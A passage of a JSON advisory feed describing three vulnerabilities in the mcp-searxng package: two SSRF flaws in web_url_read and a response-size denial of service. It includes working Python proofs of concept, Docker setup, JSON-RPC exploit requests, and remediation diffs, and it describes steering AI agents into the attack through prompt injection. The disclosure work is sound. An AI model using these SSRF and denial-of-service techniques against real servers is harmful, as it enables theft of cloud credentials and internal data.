content. Confirmed on 1.1.0 (default config): web_url_read fetched a local internal sentinel and returned its content.\n\n### Details\ndist/index.js (around lines 90-101): web_url_read calls fetchAndConvertToMarkdown on the caller URL. dist/url-reader.js (around lines 44-52): assertUrlAllowed performs the private-IP/loopback check, but only when the hardening flag is set; dist/http-security.js (around line 11) defaults MCP_HTTP_HARDEN to off. With the default config the check is skipped entirely. Even when enabled, the check is literal-hostname based with no DNS-rebinding or redirect re-check (the fetch follows redirects). file:// is rejected, so this is HTTP/HTTPS SSRF.\n\n### PoC\nRe-validated on mcp-searxng 1.1.0 over MCP stdio in the default configuration (MCP_HTTP_HARDEN not set):\n```\ntools: searxng_web_search, web_url_read\nweb_url_read({ url: \"http://127.0.0.1:\u003cport\u003e/internal\" }) -\u003e server fetched the internal sentinel; SSRF: CONFIRMED\n```\nThe server fetched the loopback sentinel and returned its content. With MCP_HTTP_HARDEN=true the same request is blocked (policy error), confirming the guard exists but ships off. The same reaches http://169.254.169.254/... on cloud hosts.\n\n### Impact\nIn the default configuration an attacker who can influence the URL (LLM-produced and steerable via prompt injection) can make the server fetch internal-only HTTP services and the cloud metadata endpoint, returning their contents into the model context for exfiltration. The protection that would prevent it is not enabled by default.\n\n### Remediation\nEnable the internal-address filtering by default (fail safe): make assertUrlAllowed run unconditionally and require an explicit opt-out only for trusted environments. Strengthen the check to resolve the host and reject loopback, link-local/metadata (169.254.0.0/16), 0.0.0.0/8, and private ranges, and re-validate on every redirect hop (or pin to the validated IP).","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-19T19:23:08.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N","references":["https://github.com/ihor-sokoliuk/mcp-searxng/security/advisories/GHSA-q87f-qc2r-2gw4","https://github.com/ihor-sokoliuk/mcp-searxng/issues/87#issuecomment-4645453694","https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v1.2.1","https://github.com/advisories/GHSA-q87f-qc2r-2gw4"],"source_kind":"github","identifiers":["GHSA-q87f-qc2r-2gw4","CVE-2026-54688"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-19T20:00:07.810Z","updated_at":"2026-10-14T10:02:05.780Z","epss_percentage":0.00499,"epss_percentile":0.40505,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xODdmLXFjMnItMmd3NM4ABk0i","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xODdmLXFjMnItMmd3NM4ABk0i","packages":[{"ecosystem":"npm","package_name":"mcp-searxng","versions":[{"first_patched_version":"1.2.1","vulnerable_version_range":"\u003c 1.2.1"}],"purl":"pkg:npm/mcp-searxng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xODdmLXFjMnItMmd3NM4ABk0i/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tcnZ4LWptanctdmdnY84ABZNC","url":"https://github.com/advisories/GHSA-mrvx-jmjw-vggc","title":" SearXNG MCP Server: DNS-resolved Private Hostname SSRF in `web_url_read`","description":"## DNS-resolved Private Hostname SSRF in `web_url_read`\n\n### Summary\n\nThe `web_url_read` MCP tool in `mcp-searxng` is vulnerable to Server-Side Request Forgery (SSRF) via DNS rebinding bypass. The `assertUrlAllowed()` function at `src/url-reader.ts:85-93` validates only the syntactic hostname string against a private IP/hostname blocklist without performing DNS resolution. An attacker who controls a domain that resolves to a private or loopback IP address (e.g., via a wildcard DNS service like `nip.io`, or a custom DNS entry) can bypass the security check and cause the MCP server to read arbitrary internal HTTP services reachable from the server host. This allows exfiltration of sensitive data from internal services with no authentication required in the default HTTP configuration.\n\n### Details\n\nThe vulnerable code is in `src/url-reader.ts`, where the `assertUrlAllowed()` function performs a hostname-only string comparison:\n\n```ts\n// src/url-reader.ts:85-93\nfunction assertUrlAllowed(url: URL): void {\n  const security = getHttpSecurityConfig();\n  if (security.allowPrivateUrls) {\n    return;\n  }\n\n  if (isPrivateHostname(url.hostname) || isPrivateIpv4(url.hostname) || isPrivateIPv6(url.hostname)) {\n    throw createURLSecurityPolicyError(url.toString());\n  }\n}\n```\n\nThis function checks whether `url.hostname` lexically matches a private address pattern but never resolves the hostname via DNS. The OS-level DNS resolution happens later, inside `undiciFetch()` at `src/url-reader.ts:367`, after the security gate has already passed.\n\nThe full data flow is:\n\n1. `src/index.ts:37-49` — `isWebUrlReadArgs()` accepts `args.url` as any string value with no URL policy enforcement.\n2. `src/index.ts:226-240` — `web_url_read` passes `args.url` directly to `fetchAndConvertToMarkdown()`.\n3. `src/url-reader.ts:307-313` — URL is parsed and `assertUrlAllowed(parsedUrl)` is called (string check only).\n4. `src/url-reader.ts:85-93` — `assertUrlAllowed()` checks `url.hostname` as a string; no DNS resolution is performed.\n5. `src/url-reader.ts:367` — `undiciFetch(currentUrl.toString(), currentRequestOptions)` resolves the hostname via OS DNS and connects to the resolved IP, which may be a private or loopback address.\n\nIn the default HTTP mode (`MCP_HTTP_HARDEN` unset), `requireAuth` is `false` (see `src/http-security.ts:30-41`), meaning no authentication is required to invoke `web_url_read`.\n\nThe recommended remediation is to resolve the hostname via `node:dns/promises` inside `assertUrlAllowed()` before the fetch is issued:\n\n```diff\n--- a/src/url-reader.ts\n+++ b/src/url-reader.ts\n@@\n import { isIP } from \"node:net\";\n+import { lookup } from \"node:dns/promises\";\n@@\n-function assertUrlAllowed(url: URL): void {\n+async function assertUrlAllowed(url: URL): Promise\u003cvoid\u003e {\n   const security = getHttpSecurityConfig();\n   if (security.allowPrivateUrls) {\n     return;\n   }\n+  if (![\"http:\", \"https:\"].includes(url.protocol)) {\n+    throw createURLSecurityPolicyError(url.toString());\n+  }\n\n   if (isPrivateHostname(url.hostname) || isPrivateIpv4(url.hostname) || isPrivateIPv6(url.hostname)) {\n     throw createURLSecurityPolicyError(url.toString());\n   }\n+  if (isIP(url.hostname) === 0) {\n+    const answers = await lookup(url.hostname, { all: true, verbatim: true });\n+    if (answers.some(({ address }) =\u003e isPrivateIpv4(address) || isPrivateIPv6(address))) {\n+      throw createURLSecurityPolicyError(url.toString());\n+    }\n+  }\n }\n@@\n-  assertUrlAllowed(parsedUrl);\n+  await assertUrlAllowed(parsedUrl);\n@@\n-        assertUrlAllowed(nextUrl);\n+        await assertUrlAllowed(nextUrl);\n```\n\n### PoC\n\n**Prerequisites:**\n\n- Docker installed on the test machine.\n- The `mcp-searxng` repository cloned locally (version 1.6.0 / commit `90423e5`).\n\n**Build the container:**\n\n```bash\ndocker build -t mcp-searxng-ssrf-001 -f vuln-001/Dockerfile .\n```\n\n**Run the PoC:**\n\n```bash\ndocker run --rm \\\n  --add-host ssrf-target.internal:127.0.0.1 \\\n  -v $(pwd)/vuln-001/poc.py:/poc.py \\\n  mcp-searxng-ssrf-001 \\\n  python3 /poc.py\n```\n\nThe `--add-host` flag maps `ssrf-target.internal` to `127.0.0.1` inside the container, simulating a DNS-resolved private hostname (equivalent to using a wildcard DNS service like `127.0.0.1.nip.io` in a real attack).\n\n**What the PoC does:**\n\n1. Starts a Python HTTP server on `127.0.0.1:9796` returning the sentinel value `INTERNAL-SECRET-OK-SSRF-PROOF`.\n2. Starts the MCP server in STDIO mode.\n3. **Test 1:** Sends a `tools/call` request for `http://127.0.0.1:9796/` — this is correctly **blocked** by `assertUrlAllowed()`.\n4. **Test 2:** Sends a `tools/call` request for `http://ssrf-target.internal:9796/` — this **bypasses** the check because the hostname is syntactically public, but resolves to `127.0.0.1` at fetch time.\n\n**Expected output (confirming SSRF):**\n\n```\n[+] BLOCKED  — assertUrlAllowed() correctly rejected 127.0.0.1\n[!!!] SSRF BYPASS CONFIRMED\n[!!!] Sentinel 'INTERNAL-SECRET-OK-SSRF-PROOF' found in MCP tool response\n    Raw tool response text: 'INTERNAL-SECRET-OK-SSRF-PROOF'\n    URL: http://ssrf-target.internal:9796/ (resolves to 127.0.0.1 via /etc/hosts)\n    assertUrlAllowed() sees hostname='ssrf-target.internal' → passes string check\n    undiciFetch() resolves DNS → 127.0.0.1 → reads internal service\n[RESULT] PASS\n```\n\nThe same bypass can be achieved in production using any public DNS wildcard service that resolves to a private IP (e.g., `http://127.0.0.1.nip.io:PORT/`), or by controlling a custom DNS record.\n\n**MCP JSON-RPC request (STDIO mode):**\n\n```json\n{\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/call\",\"params\":{\"name\":\"web_url_read\",\"arguments\":{\"url\":\"http://ssrf-target.internal:9796/\",\"maxLength\":200}}}\n```\n\n### Impact\n\nThis is a Server-Side Request Forgery (SSRF) vulnerability. An attacker who can send requests to the MCP server — or who can influence an AI agent connected to the server to call `web_url_read` with an attacker-controlled URL — can:\n\n- **Read internal HTTP services** reachable from the MCP server host (e.g., cloud metadata endpoints at `169.254.169.254`, internal APIs, admin dashboards, databases with HTTP interfaces).\n- **Exfiltrate sensitive data** such as cloud provider credentials, internal service tokens, or configuration secrets.\n- **Enumerate internal network topology** by probing responses from different internal hosts and ports.\n\nIn the default HTTP deployment configuration (`MCP_HTTP_HARDEN` unset), authentication is disabled (`requireAuth: false`), so any unauthenticated network client can exploit this vulnerability. In STDIO mode, exploitation requires the AI agent connected to the MCP server to be tricked into providing an attacker-controlled URL, which is feasible via prompt injection or malicious content fetched from the web.\n\nThe vulnerability has a CVSS v3.1 score of **7.1 (High)** and affects all users running `mcp-searxng` version 1.6.0 without setting `MCP_HTTP_ALLOW_PRIVATE_URLS=false` explicitly overriding to true (the insecure opt-in) or applying a patched version.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:20-slim\n\n# Install Python3 for the PoC script\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends python3 \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\nWORKDIR /app\n\n# Copy the entire repository\nCOPY . /app/\n\n# Install dependencies and compile TypeScript\nRUN npm ci \u0026\u0026 npm run build\n\n# Verify the build output exists\nRUN test -f dist/index.js || (echo \"ERROR: dist/index.js not found after build\" \u0026\u0026 exit 1)\n\n# Default: drop into a shell for manual inspection; overridden by docker run\nCMD [\"node\", \"dist/index.js\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-001: DNS-resolved Private Hostname SSRF in web_url_read\nCWE-918 | CVSS 7.1\n\nThe assertUrlAllowed() function (src/url-reader.ts:85-93) checks only the\nurl.hostname string against private IP/hostname patterns without performing DNS\nresolution.  A hostname that is syntactically public but resolves to a private\nor loopback address at fetch time bypasses the check.\n\nAttack flow:\n  1. Attacker provides URL with a hostname that passes the string check.\n  2. assertUrlAllowed(parsedUrl) at line 313 passes (no DNS resolution).\n  3. undiciFetch() at line 367 resolves the hostname via OS DNS, gets 127.0.0.1,\n     and connects to the internal service.\n\nRequirements:\n  - Container must be started with --add-host ssrf-target.internal:127.0.0.1\n    so that the bypass hostname resolves to the loopback address via /etc/hosts.\n  - Node.js MCP server binary at /app/dist/index.js\n\nUsage:\n  python3 poc.py\n  Exit 0 = PASS (bypass confirmed), non-zero = FAIL\n\"\"\"\n\nimport http.server\nimport json\nimport os\nimport queue\nimport subprocess\nimport sys\nimport threading\nimport time\n\n# ── constants ────────────────────────────────────────────────────────────────\n\nSENTINEL       = \"INTERNAL-SECRET-OK-SSRF-PROOF\"\nINTERNAL_PORT  = 9796\nBYPASS_HOST    = \"ssrf-target.internal\"   # /etc/hosts: 127.0.0.1 (via --add-host)\nMCP_BINARY     = \"/app/dist/cli.js\"\nTIMEOUT_SEC    = 20\n\n\n# ── internal HTTP server ─────────────────────────────────────────────────────\n\nclass SentinelHandler(http.server.BaseHTTPRequestHandler):\n    \"\"\"Simulates an internal service that the SSRF attack reads.\"\"\"\n\n    def _send_sentinel(self, with_body=True):\n        body = (SENTINEL + \"\\n\").encode()\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/plain\")\n        self.send_header(\"Content-Length\", str(len(body)))\n        self.end_headers()\n        if with_body:\n            self.wfile.write(body)\n\n    def do_GET(self):\n        self._send_sentinel(with_body=True)\n\n    def do_HEAD(self):\n        self._send_sentinel(with_body=False)\n\n    def log_message(self, fmt, *args):   # silence access log\n        pass\n\n\ndef start_internal_server():\n    server = http.server.HTTPServer((\"127.0.0.1\", INTERNAL_PORT), SentinelHandler)\n    threading.Thread(target=server.serve_forever, daemon=True).start()\n    print(f\"[+] Internal HTTP server listening on 127.0.0.1:{INTERNAL_PORT}\"\n          f'  -\u003e sentinel: \"{SENTINEL}\"')\n    return server\n\n\n# ── MCP communication helpers ─────────────────────────────────────────────────\n\ndef start_mcp_server():\n    \"\"\"Spawn the MCP server in STDIO mode.\"\"\"\n    env = os.environ.copy()\n    env.update({\n        \"NODE_ENV\": \"production\",\n        # SEARXNG_URL is intentionally unset; web_url_read does not need it.\n    })\n    proc = subprocess.Popen(\n        [\"node\", MCP_BINARY],\n        stdin=subprocess.PIPE,\n        stdout=subprocess.PIPE,\n        stderr=subprocess.PIPE,\n        env=env,\n    )\n    return proc\n\n\ndef drain_stderr(proc):\n    \"\"\"Drain stderr in a background thread to prevent blocking.\"\"\"\n    def _reader():\n        for _ in proc.stderr:\n            pass\n    threading.Thread(target=_reader, daemon=True).start()\n\n\ndef attach_stdout_reader(proc):\n    \"\"\"Return a queue that receives decoded JSON-RPC messages from stdout.\"\"\"\n    q = queue.Queue()\n\n    def _reader():\n        for raw in proc.stdout:\n            line = raw.strip()\n            if not line:\n                continue\n            try:\n                q.put(json.loads(line.decode()))\n            except json.JSONDecodeError:\n                pass   # skip non-JSON output\n\n    threading.Thread(target=_reader, daemon=True).start()\n    return q\n\n\ndef send_rpc(proc, method, params=None, rpc_id=None):\n    \"\"\"Write one JSON-RPC 2.0 message to the MCP server's stdin.\"\"\"\n    msg = {\"jsonrpc\": \"2.0\", \"method\": method}\n    if rpc_id is not None:\n        msg[\"id\"] = rpc_id\n    if params is not None:\n        msg[\"params\"] = params\n    proc.stdin.write((json.dumps(msg) + \"\\n\").encode())\n    proc.stdin.flush()\n\n\ndef expect_response(q, target_id, timeout=TIMEOUT_SEC):\n    \"\"\"Wait for a JSON-RPC response matching target_id.\"\"\"\n    deadline = time.time() + timeout\n    while time.time() \u003c deadline:\n        try:\n            msg = q.get(timeout=1.0)\n            if msg.get(\"id\") == target_id:\n                return msg\n        except queue.Empty:\n            continue\n    return None\n\n\ndef initialize_mcp(proc, q):\n    \"\"\"Perform the MCP initialize / initialized handshake.\"\"\"\n    send_rpc(proc, \"initialize\", {\n        \"protocolVersion\": \"2024-11-05\",\n        \"capabilities\": {},\n        \"clientInfo\": {\"name\": \"ssrf-poc\", \"version\": \"1.0\"},\n    }, rpc_id=1)\n\n    resp = expect_response(q, target_id=1)\n    if resp is None or \"result\" not in resp:\n        raise RuntimeError(f\"MCP initialize timed out or failed: {resp}\")\n\n    proto = resp[\"result\"].get(\"protocolVersion\", \"?\")\n    print(f\"[+] MCP handshake complete (protocol={proto})\")\n\n    # Acknowledge initialization\n    send_rpc(proc, \"notifications/initialized\")\n    time.sleep(0.15)\n\n\ndef call_url_read(proc, q, url, rpc_id):\n    \"\"\"Invoke the web_url_read tool and return the raw JSON-RPC response.\"\"\"\n    send_rpc(proc, \"tools/call\", {\n        \"name\": \"web_url_read\",\n        \"arguments\": {\"url\": url, \"maxLength\": 600},\n    }, rpc_id=rpc_id)\n    return expect_response(q, target_id=rpc_id)\n\n\n# ── result helpers ────────────────────────────────────────────────────────────\n\ndef extract_text(resp):\n    \"\"\"Return the text content from a tools/call result, or None.\"\"\"\n    if resp is None:\n        return None\n    if \"error\" in resp:\n        return None\n    try:\n        return resp[\"result\"][\"content\"][0][\"text\"]\n    except (KeyError, IndexError, TypeError):\n        return None\n\n\ndef is_blocked(resp):\n    \"\"\"Return True when the response indicates a security-policy block.\"\"\"\n    if resp is None:\n        return False\n    # MCP SDK may surface tool errors as JSON-RPC errors OR as isError results\n    if \"error\" in resp:\n        return True\n    text = extract_text(resp) or \"\"\n    if resp.get(\"result\", {}).get(\"isError\"):\n        return True\n    if \"URLSecurityPolicy\" in text or \"not allowed\" in text.lower():\n        return True\n    return False\n\n\n# ── main ──────────────────────────────────────────────────────────────────────\n\ndef main():\n    print(\"=\" * 62)\n    print(\"VULN-001  DNS-resolved Private Hostname SSRF in web_url_read\")\n    print(\"=\" * 62)\n\n    # 1. Verify /etc/hosts entry is present\n    bypass_url = f\"http://{BYPASS_HOST}:{INTERNAL_PORT}/\"\n    with open(\"/etc/hosts\") as f:\n        hosts_content = f.read()\n    if BYPASS_HOST not in hosts_content:\n        print(f\"[-] FATAL: '{BYPASS_HOST}' not in /etc/hosts.\")\n        print(\"    Re-run with: --add-host ssrf-target.internal:127.0.0.1\")\n        sys.exit(3)\n    print(f\"[+] /etc/hosts contains entry for {BYPASS_HOST}\")\n\n    # 2. Start internal HTTP service\n    start_internal_server()\n    time.sleep(0.2)\n\n    # 3. Start MCP server\n    print(f\"[*] Spawning MCP server: node {MCP_BINARY}\")\n    proc = start_mcp_server()\n    drain_stderr(proc)\n    msg_queue = attach_stdout_reader(proc)\n    time.sleep(1.2)   # allow server startup\n\n    if proc.poll() is not None:\n        print(f\"[-] MCP server exited early (rc={proc.returncode})\")\n        sys.exit(4)\n    print(f\"[+] MCP server running (PID={proc.pid})\")\n\n    try:\n        # 4. MCP handshake\n        print(\"[*] MCP initialize ...\")\n        initialize_mcp(proc, msg_queue)\n\n        # ── Test 1: direct private IP should be BLOCKED ───────────────────\n        blocked_target = f\"http://127.0.0.1:{INTERNAL_PORT}/\"\n        print(f\"\\n[*] Test 1 — direct private IP (EXPECT: BLOCKED)\")\n        print(f\"    URL: {blocked_target}\")\n        resp1 = call_url_read(proc, msg_queue, blocked_target, rpc_id=2)\n        text1 = extract_text(resp1) or \"\"\n\n        if is_blocked(resp1):\n            print(f\"[+] BLOCKED  — assertUrlAllowed() correctly rejected 127.0.0.1\")\n        else:\n            print(f\"[!] WARNING — direct 127.0.0.1 was NOT blocked (text={text1[:120]})\")\n\n        # ── Test 2: hostname bypass SHOULD succeed ─────────────────────────\n        print(f\"\\n[*] Test 2 — hostname bypass (EXPECT: PASS / SSRF)\")\n        print(f\"    URL: {bypass_url}\")\n        print(f\"    assertUrlAllowed() sees hostname='{BYPASS_HOST}' → passes string check\")\n        print(f\"    undiciFetch() resolves DNS → 127.0.0.1 → reads internal service\")\n        resp2 = call_url_read(proc, msg_queue, bypass_url, rpc_id=3)\n        text2 = extract_text(resp2) or \"\"\n\n        print(f\"\\n    Raw tool response text (first 400 chars):\")\n        print(f\"    {repr(text2[:400])}\")\n\n        if SENTINEL in text2:\n            print(f\"\\n[!!!] SSRF BYPASS CONFIRMED\")\n            print(f\"[!!!] Sentinel '{SENTINEL}' found in MCP tool response\")\n            print(f\"\\n[RESULT] PASS\")\n            sys.exit(0)\n        elif is_blocked(resp2):\n            print(f\"\\n[-] Bypass request was also BLOCKED (unexpected).\")\n            print(f\"    resp2={json.dumps(resp2)[:300]}\")\n            print(f\"\\n[RESULT] FAIL — bypass was blocked\")\n            sys.exit(1)\n        else:\n            print(f\"\\n[-] Response received but sentinel not found.\")\n            print(f\"    resp2={json.dumps(resp2)[:400]}\")\n            print(f\"\\n[RESULT] FAIL — unexpected response\")\n            sys.exit(1)\n\n    finally:\n        proc.terminate()\n\n\nif __name__ == \"__main__\":\n    main()\n```","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-06-19T21:42:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","references":["https://github.com/ihor-sokoliuk/mcp-searxng/security/advisories/GHSA-mrvx-jmjw-vggc","https://github.com/advisories/GHSA-mrvx-jmjw-vggc"],"source_kind":"github","identifiers":["GHSA-mrvx-jmjw-vggc"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-06-19T22:00:09.234Z","updated_at":"2026-10-14T10:03:37.048Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tcnZ4LWptanctdmdnY84ABZNC","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tcnZ4LWptanctdmdnY84ABZNC","packages":[{"ecosystem":"npm","package_name":"mcp-searxng","versions":[{"first_patched_version":"1.7.1","vulnerable_version_range":"\u003c 1.7.1"}],"purl":"pkg:npm/mcp-searxng"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tcnZ4LWptanctdmdnY84ABZNC/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14Y3F4LTlqZjUtdzMzOc4ABZNA","url":"https://github.com/advisories/GHSA-xcqx-9jf5-w339","title":" SearXNG MCP Server: Unbounded Response Body Read Bypasses URL Size Limit in `web_url_read`","description":"## Unbounded Response Body Read Bypasses URL Size Limit in `web_url_read`\n\n### Summary\n\nThe `web_url_read` MCP tool in mcp-searxng enforces its 5 MiB response-size limit exclusively by inspecting the `Content-Length` header of a preliminary HEAD request. When a server omits `Content-Length` — a standard HTTP practice — `checkContentLength()` returns `null`, the guard condition short-circuits to `false`, and `response.text()` loads the entire response body into memory without any byte cap. An unauthenticated attacker who controls or can redirect to an HTTP endpoint can force the server process to consume unbounded memory and CPU, leading to a Denial of Service.\n\n### Details\n\n`web_url_read` is the entry point (`src/index.ts:226-240`). It passes the caller-supplied URL directly into `readUrlContent()` in `src/url-reader.ts`.\n\n**Size-limit check (bypassed)**\n\n```ts\n// src/url-reader.ts:352-360\nconst contentLength = await checkContentLength(...);\nif (contentLength !== null \u0026\u0026 contentLength \u003e maxContentLengthBytes) {\n  return createContentTooLargeMessage(contentLength, maxContentLengthBytes);\n}\n```\n\n`checkContentLength()` (`src/url-reader.ts:243-245`) returns `null` when the HEAD response carries no `Content-Length` header. Because the guard uses the `!== null` conjunction, a `null` result causes the entire check to evaluate as `false`, and execution falls through without enforcing the configured 5 MiB ceiling.\n\n**Unbounded sinks**\n\nA full GET request is then issued (`src/url-reader.ts:367`) with no streaming byte cap:\n\n```ts\n// src/url-reader.ts:414  — normal response path\nhtmlContent = await response.text();\n\n// src/url-reader.ts:402  — error response path (same issue)\nresponseBody = await response.text();\n```\n\nThe full HTML string is subsequently passed to `NodeHtmlMarkdown.translate()` (`src/url-reader.ts:429`), which amplifies CPU consumption proportional to the body size.\n\n**Default exposure**\n\n`web_url_read` is enabled by default. In HTTP transport mode, authentication is disabled by default, so `AV:N/PR:N` applies unconditionally. In stdio mode, an attacker can trigger the path via prompt injection to cause the AI model to call the tool with an attacker-controlled URL.\n\n### PoC\n\n**Prerequisites**\n\n- Docker installed.\n- Build context: the repository root (`npmAI_249_ihor-sokoliuk__mcp-searxng/`).\n\n**Build the image**\n\n```bash\ndocker build \\\n  -t vuln002-test \\\n  -f vuln-002/Dockerfile \\\n  reports/npmAI_249_ihor-sokoliuk__mcp-searxng/\n```\n\n**Run the PoC**\n\n```bash\ndocker run --rm vuln002-test\n```\n\nThe container starts two processes:\n1. A malicious HTTP server on `127.0.0.1:9799` that responds to HEAD with HTTP 200 and **no `Content-Length`**, then responds to GET with a 6,291,456-byte HTML body and **no `Content-Length`**.\n2. mcp-searxng in HTTP mode (`MCP_HTTP_ALLOW_PRIVATE_URLS=true` enables loopback URLs for local reproduction).\n\nThe PoC script initializes an MCP session and calls:\n\n```json\n{\n  \"method\": \"tools/call\",\n  \"params\": {\n    \"name\": \"web_url_read\",\n    \"arguments\": { \"url\": \"http://127.0.0.1:9799/\", \"maxLength\": 1 }\n  }\n}\n```\n\n**Observed output (Phase 2 confirmation)**\n\n```\nHEAD_REQUESTS              : 1\nGET_REQUESTS               : 1\nGET_BYTES_SENT             : 6,291,456\nCONFIGURED_DEFAULT_LIMIT   : 5,242,880\nBYTES_OVER_LIMIT           : +1,048,576\nELAPSED_SEC                : 0.17\nTOOL_STATUS                : SUCCESS\nRETURNED_LENGTH_CHARS      : 1\n\n[PASS] VULNERABILITY CONFIRMED\n  6,291,456 bytes were transmitted to mcp-searxng despite a 5,242,880-byte (5 MiB) limit.\n  Root cause confirmed:\n    1. HEAD response had no Content-Length header.\n    2. checkContentLength() returned null  (url-reader.ts:243-245)\n    3. Guard condition was false (null !== null =\u003e false) (url-reader.ts:359)\n    4. response.text() read 6,291,456 bytes without a cap (url-reader.ts:414)\n```\n\n**Remediation**\n\nReplace both `response.text()` calls with a streaming reader that aborts once the byte counter exceeds `maxContentLengthBytes`:\n\n```diff\n+async function readResponseTextWithLimit(response: Response, maxBytes: number): Promise\u003cstring | null\u003e {\n+  if (!response.body) return response.text();\n+  const reader = response.body.getReader();\n+  const decoder = new TextDecoder();\n+  const chunks: string[] = [];\n+  let total = 0;\n+  while (true) {\n+    const { done, value } = await reader.read();\n+    if (done) break;\n+    total += value.byteLength;\n+    if (total \u003e maxBytes) { await reader.cancel(); return null; }\n+    chunks.push(decoder.decode(value, { stream: true }));\n+  }\n+  chunks.push(decoder.decode());\n+  return chunks.join(\"\");\n+}\n\n-        responseBody = await response.text();\n+        responseBody = await readResponseTextWithLimit(response, maxContentLengthBytes)\n+          ?? \"[Response body exceeded configured size limit]\";\n\n-      htmlContent = await response.text();\n+      const limitedBody = await readResponseTextWithLimit(response, maxContentLengthBytes);\n+      if (limitedBody === null) {\n+        return createContentTooLargeMessage(maxContentLengthBytes + 1, maxContentLengthBytes);\n+      }\n+      htmlContent = limitedBody;\n```\n\n### Impact\n\nThis is an **Uncontrolled Resource Consumption (DoS)** vulnerability. Any network-reachable attacker who can supply a URL to the `web_url_read` tool can force the mcp-searxng process to allocate memory proportional to an arbitrarily large HTTP response body and burn CPU during HTML-to-Markdown conversion. The attack requires no authentication in the default HTTP transport configuration. In stdio mode, the attack surface is accessible through prompt injection targeting the AI agent. Repeated or concurrent invocations can exhaust process memory and render the MCP server unavailable to all legitimate users.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM node:20-slim\n\n# Install Python3 for the PoC script\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends python3 \\\n    \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\n# Copy repository source and build the vulnerable mcp-searxng\n# Build context: parent directory (npmAI_249_ihor-sokoliuk__mcp-searxng/)\nWORKDIR /app\nCOPY repo/ /app/\nRUN npm ci \u0026\u0026 npm run build\n\n# Copy the PoC script\nCOPY vuln-002/poc.py /poc.py\n\n# Run the dynamic reproduction PoC\nCMD [\"python3\", \"-u\", \"/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC for VULN-002: Unbounded Response Body Read Bypasses URL Size Limit (CWE-400)\n\nAffected: ihor-sokoliuk/mcp-searxng v1.6.0\nFile:     src/url-reader.ts:414 (response.text())\nCWE:      CWE-400 Uncontrolled Resource Consumption\nCVSS:     7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\nRoot cause:\n  checkContentLength() at src/url-reader.ts:243-245 returns null when the\n  server sends no Content-Length header.  The guard at line 359:\n      if (contentLength !== null \u0026\u0026 contentLength \u003e maxContentLengthBytes)\n  evaluates to false (null !== null =\u003e false), so the check is skipped.\n  response.text() at line 414 then reads the full body without any byte cap.\n\nReproduction:\n  1. Malicious HTTP server (this process, port 9799):\n       HEAD =\u003e 200, Content-Type only, NO Content-Length\n       GET  =\u003e 200, 6+ MiB HTML body, NO Content-Length\n  2. mcp-searxng (subprocess, HTTP mode, port 3000):\n       MCP_HTTP_ALLOW_PRIVATE_URLS=true  -- allows 127.x for local PoC\n  3. This script initializes an MCP session, calls web_url_read pointing\n     at the malicious server, and measures actual bytes transmitted.\n\nExpected evidence:\n  GET_BYTES_SENT \u003e CONFIGURED_DEFAULT_LIMIT (5242880)\n  =\u003e The 5 MiB guard was bypassed; full body was consumed without a cap.\n\"\"\"\n\nimport json\nimport os\nimport socket\nimport subprocess\nimport sys\nimport threading\nimport time\nimport urllib.error\nimport urllib.request\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\n\n# ---------------------------------------------------------------------------\n# Constants\n# ---------------------------------------------------------------------------\nDEFAULT_MAX_CONTENT_LENGTH = 5 * 1024 * 1024  # 5 MiB (same as src/url-reader.ts)\nBODY_SIZE_BYTES = 6 * 1024 * 1024             # 6 MiB — exceeds the configured limit\nEVIL_PORT = 9799\nMCP_PORT  = 3000\n\n# ---------------------------------------------------------------------------\n# Shared state — updated by the malicious server thread\n# ---------------------------------------------------------------------------\ng_bytes_sent = 0\ng_head_count = 0\ng_get_count  = 0\n\n# ---------------------------------------------------------------------------\n# Malicious HTTP server\n# ---------------------------------------------------------------------------\nclass MaliciousHandler(BaseHTTPRequestHandler):\n    \"\"\"\n    Simulates an attacker-controlled HTTP server that:\n      - Returns 200 for HEAD with NO Content-Length (triggers null in checkContentLength)\n      - Returns 200 for GET with a 6 MiB body and NO Content-Length\n        (triggers unbounded response.text() read)\n    \"\"\"\n\n    # Use HTTP/1.0 so the connection closes after the body — no Content-Length needed.\n    protocol_version = \"HTTP/1.0\"\n\n    def log_message(self, fmt, *args):  # suppress default per-request logging\n        pass\n\n    def do_HEAD(self):\n        global g_head_count\n        g_head_count += 1\n        print(\n            f\"[EVIL-SERVER] HEAD #{g_head_count} from {self.address_string()}\"\n            \" — responding 200 with NO Content-Length (triggers null in checkContentLength)\",\n            flush=True,\n        )\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"text/html; 